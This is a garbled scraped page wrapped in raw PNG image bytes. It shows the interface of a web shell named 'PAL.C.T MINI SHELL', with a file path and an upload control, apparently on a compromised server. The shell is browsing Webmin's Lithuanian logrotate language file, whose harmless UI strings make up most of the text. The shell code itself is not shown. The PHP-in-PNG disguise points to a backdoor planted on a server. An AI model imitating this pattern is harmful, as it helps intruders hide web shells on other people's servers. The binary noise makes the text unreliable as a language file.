php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/logrotate/lang/
upload
files >> //usr/libexec/webmin/logrotate/lang/lt.auto

index_title=Žurnalo failo pasukimas
index_econf=Jūsų sistemoje nerastas žurnalo pasukimo konfigūracijos failas $1. Galbūt logrotatas neįdiegtas, arba <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_ecmd=Jūsų sistemoje nerasta žurnalo pasukimo programa $1. Galbūt jis neįdiegtas, arba <a href='$2'>modulio konfigūracija</a> yra neteisinga.
index_eversion=Nepavyko gauti logrotato versijos su komanda $1 : $2 
index_version=Logrotate versija $1 
index_add=Pridėkite naują žurnalo failą, kad pasuktumėte.
index_file=Žurnalo failas
index_period=Rotacijos laikotarpis
index_post=Po rotacijos komanda
index_none=Žurnalų failai dar nebuvo apibrėžti.
index_global=Redaguoti visuotines parinktis
index_globaldesc=Spustelėkite šį mygtuką, norėdami redaguoti visiems žurnalų failams taikomą nustatymą ir apibrėžti numatytuosius žurnalų parametrus.
index_sched=Redaguoti tvarkaraštį
index_scheddesc=Spustelėkite šį mygtuką, norėdami redaguoti tvarkaraštį, kuriame logotipą valdo „Cron“, arba įgalinti ar išjungti.
index_nocmd=Nė vienas
index_notset=Nenustatyta
index_return=žurnalų failų sąrašas
index_force=Priverstinis žurnalo pasukimas
index_forcedesc=Priverskite nedelsiant pasukti visus žurnalų failus, net jei dar nėra laiko.
index_logrotate=Logrotatas
index_delete=Ištrinti pasirinktus žurnalo pasukimus

period_daily=Kasdien
period_weekly=Kas savaitę
period_monthly=Kas mėnesį
period_never=Niekada
period_bytes=baitų

edit_title1=Redaguoti žurnalo failą
edit_title2=Sukurti žurnalo failą
edit_header=Pasukta žurnalo failo informacija
edit_file=Žurnalo failo keliai
edit_sched=Rotacijos grafikas
edit_rotate=Laikomų senų rąstų skaičius
edit_compress=Suspausti senus žurnalo failus?
edit_delaycompress=Atidėti suspaudimą iki kito ciklo?
edit_copytruncate=Sutrumpinti žurnalo failą vietoje?
edit_ifempty=Pasukti net jei žurnalo failas tuščias?
edit_missingok=Ignoruoti žurnalo failą, jei jo nėra?
edit_size=Maksimalus dydis prieš sukant
edit_always=Nepaisoma
edit_minsize=Mažiausias pasisukimo dydis
edit_nominsize=Visada
edit_ext=Pasuktų failų vardų plėtinys
edit_dateext=Paskirtiems failams naudoti datos pratęsimą
edit_mail=El. Pašto žurnalo failas prieš ištrinant?
edit_mailto=Taip, kreiptis
edit_mailno=Ne, nerašykite el. Paštu
edit_mailfl=Užregistruokite failą el. Paštu
edit_mailfirst=Naujausias, kuris buvo ką tik sukamas
edit_maillast=Seniausia, kurią ketinama ištrinti
edit_create=Iš naujo sukurti žurnalo failą po pasukimo?
edit_createas=Taip, naudojant $1 režimą ir priklauso vartotojui $2 ir grupei $3 
edit_createno=Ne, nekurkite iš naujo
edit_createsame=Taip, su senais leidimais
edit_olddir=Laikykite senus pasuktus rąstus
edit_olddirto=Katalogas
edit_olddirsame=Tas pats katalogas, kaip žurnalo failas
edit_errors=Siųsti klaidų pranešimus el. Paštu
edit_errorsno=Niekas
edit_errorsto=Adresas arba vartotojas
edit_post=Komandos paleisti po rotacijos
edit_pre=Komandos turi bėgti prieš sukimąsi
edit_default=Numatytasis ($1)
edit_sharedscripts=Tik paleiskite visų failų scenarijus vieną kartą?
edit_now=Sukti dabar

global_title=Visuotinės parinktys
global_header=Numatytosios visų žurnalo failų parinktys

save_err=Nepavyko išsaugoti žurnalo
save_efile=Trūksta arba netinkamas žurnalo failo vardas
save_esize=Trūksta arba netinkamas didžiausias dydis
save_eminsize=Trūksta arba netinkamas minimalus dydis
save_erotate=Trūksta arba netinkamas maksimalus saugomų senų žurnalų skaičius
save_ecreatemode=Trūksta arba netinkamas 3 ar 4 skaitmenų aštuonkojų kūrimo būdas
save_ecreateuser=Trūksta arba netinkamas kūrimo vartotojas
save_ecreategroup=Trūksta arba netinkama kūrimo grupė
save_emust1=Įvesdami kūrimo vartotoją turite įvesti kūrimo režimą
save_emust2=Įvesdami kūrimo grupę turite įvesti kūrinio vartotoją
save_eolddirto=Trūksta arba netinkamas senų pasuktų žurnalų katalogas
save_eext=Trūksta pasuktų žurnalo failų vardų plėtinių
save_emailto=Trūksta pasuktų žurnalų el. Pašto adresų
save_eerrors=Trūksta klaidų pranešimų el. Pašto adreso
save_epre=Prieš sukimąsi scenarijuje negali būti eilutės <tt>pabaigos scenarijus</tt> arba <tt>endrotate</tt>
save_epost=Po rotacijos esančiame scenarijuje negali būti eilutės <tt>pabaigos scenarijus</tt> arba <tt>endrotate</tt>
save_enofiles=Neįvesta jokių sukamų failų

log_modify_sched=Pakeistas žurnalo pasukimas Cron darbas
log_create_sched=Sukurtas rąstų rotacijos „Cron“ darbas
log_delete_sched=Ištrinta žurnalo kaitaliojimo „Cron“ užduotis
log_global=Modifikuotos visuotinės parinktys
log_create=Pridėta žurnalo failo rotacija $1 
log_modify=Modifikuota žurnalo failo rotacija $1 
log_delete=Ištrinta žurnalo failo rotacija $1 
log_delete_logs=Ištrinta $1 žurnalo failų rotacija

sched_title=Žurnalų pasukimo grafikas
sched_desc=Norėdami atlikti žurnalo pasukimą, sukonfigūruotą naudojant šį modulį, komandą $1 turi vykdyti įprastas grafikas (paprastai kasdien), kurį teikia „Cron“.
sched_runparts=Šiuo metu žurnalo pasukimo komanda vykdoma iš scenarijaus $1 $2 ir negali būti koreguojama.
sched_sched=Rąstų kaitaliojimo darbas
sched_disabled=Neįgalus
sched_enabled=Įgalinta, kartais žemiau ..
sched_save=Atnaujinkite „Cron Job“
sched_err=Nepavyko išsaugoti rotacijos grafiko
sched_when=Laikai bėgti

force_title=Priverstinis žurnalo pasukimas
force_doing=Privedant betarpišką visų žurnalo failų sukimą
force_doingone=Priverstinis greitas vieno žurnalo failo pasukimas.
force_done=.. padaryta.
force_failed=.. nepavyko! Norėdami sužinoti priežastį, skaitykite aukščiau pateiktą išvestį.

delete_err=Nepavyko ištrinti žurnalų
delete_enone=Nepasirinkta
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`